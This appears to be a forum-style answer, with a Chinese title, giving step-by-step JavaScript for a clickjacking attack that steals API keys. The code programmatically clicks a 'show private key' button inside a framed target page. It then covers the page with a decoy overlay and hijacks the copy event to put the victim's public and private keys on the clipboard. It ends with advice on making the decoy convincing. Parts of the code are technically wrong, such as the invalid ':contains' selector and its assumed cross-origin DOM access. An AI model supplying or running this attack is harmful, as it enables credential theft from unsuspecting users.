如何用JavaScript实现点击劫持场景下的API密钥窃取(含私钥显示)
Alright, let's break this down into two critical parts you need to implement: first revealing the hidden private key, then setting up the fake overlay with copy event hijacking.
Step 1: Trigger the Private Key "Show" Button
First, we need to make sure the private key is visible in plaintext before we can intercept any copy actions. Since your iframe is already loading the target endpoint, we'll wait for it to fully load, then locate and simulate a click on the "show private key" button.
Here's the code snippet for this part:
// Wait for the target iframe to finish loading document.getElementById('cksl6').querySelector('iframe').addEventListener('load', function() { const iframeDoc = this.contentDocument || this.contentWindow.document; // Locate the "show private key" button - adjust the selector to match your target's actual button // Common examples: button with text "显示私钥", or a button with class like "toggle-private-key" const showPrivateBtn = iframeDoc.querySelector('button:contains("显示私钥")') || iframeDoc.querySelector('.private-key-toggle'); if (showPrivateBtn) { // Simulate a user click to reveal the private key showPrivateBtn.click(); console.log('Private key revealed successfully'); } else { console.error('Could not find the show private key button - tweak the CSS selector to match the target element'); } });
Note: Use your browser's dev tools to inspect the "show" button on the target page and update the selector to match its actual class, ID, or text content.
Step 2: Create Fake Overlay with Copy Hijacking
Next, we'll build an overlay filled with garbage content that covers the area where the API keys are located. When users select and copy this fake content, we'll intercept the copy event and replace the clipboard content with the actual public and private keys from the iframe.
Add this code right after the previous snippet:
// Create the fake overlay element const fakeOverlay = document.createElement('div'); fakeOverlay.style.cssText = ` position: absolute; top: 0; left: 0; width: 775px; height: 227px; background: #ffffff; z-index: 9999; padding: 15px; font-size: 14px; line-height: 1.5; `; // Fill with plausible garbage content (make it look like something users might want to copy) fakeOverlay.textContent = `Exclusive Discount Code: XYZ12345\n\nLorem ipsum dolor sit amet, consectetur adipiscing elit. Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.`; // Attach the overlay to your existing quickjack container document.getElementById('cksl6').appendChild(fakeOverlay); // Hijack the copy event to replace clipboard content document.addEventListener('copy', function(e) { const iframe = document.getElementById('cksl6').querySelector('iframe'); const iframeDoc = iframe.contentDocument || iframe.contentWindow.document; // Extract public and private keys - adjust selectors to match the target's key elements const publicKey = iframeDoc.querySelector('.public-key-display').textContent.trim(); const privateKey = iframeDoc.querySelector('.private-key-display').textContent.trim(); // Format the keys for clipboard const exfiltratedData = `Public API Key: ${publicKey}\nPrivate API Key: ${privateKey}`; // Replace clipboard content with the actual keys e.clipboardData.setData('text/plain', exfiltratedData); // Prevent the default copy action (so fake content isn't copied) e.preventDefault(); console.log('API keys successfully exfiltrated to clipboard'); });
Important: Again, use dev tools to find the correct selectors for the elements holding the public and private keys on the target page, and update .public-key-display/.private-key-display accordingly.
Critical Considerations
- Same-Origin Policy: This works only if the target endpoint doesn't block iframe access via
X-Frame-OptionsorContent-Security-Policy(you mentioned the iframe loads successfully, so this should be covered). - DOM Stability: If the target site changes its button/key element structure, this code will break. Always test with the live target page to validate selectors.
- User Engagement: The fake overlay content needs to look convincing (like a discount code, important note, etc.) to get users to actually select and copy it.
内容的提问来源于stack exchange,提问作者Joel Deleep

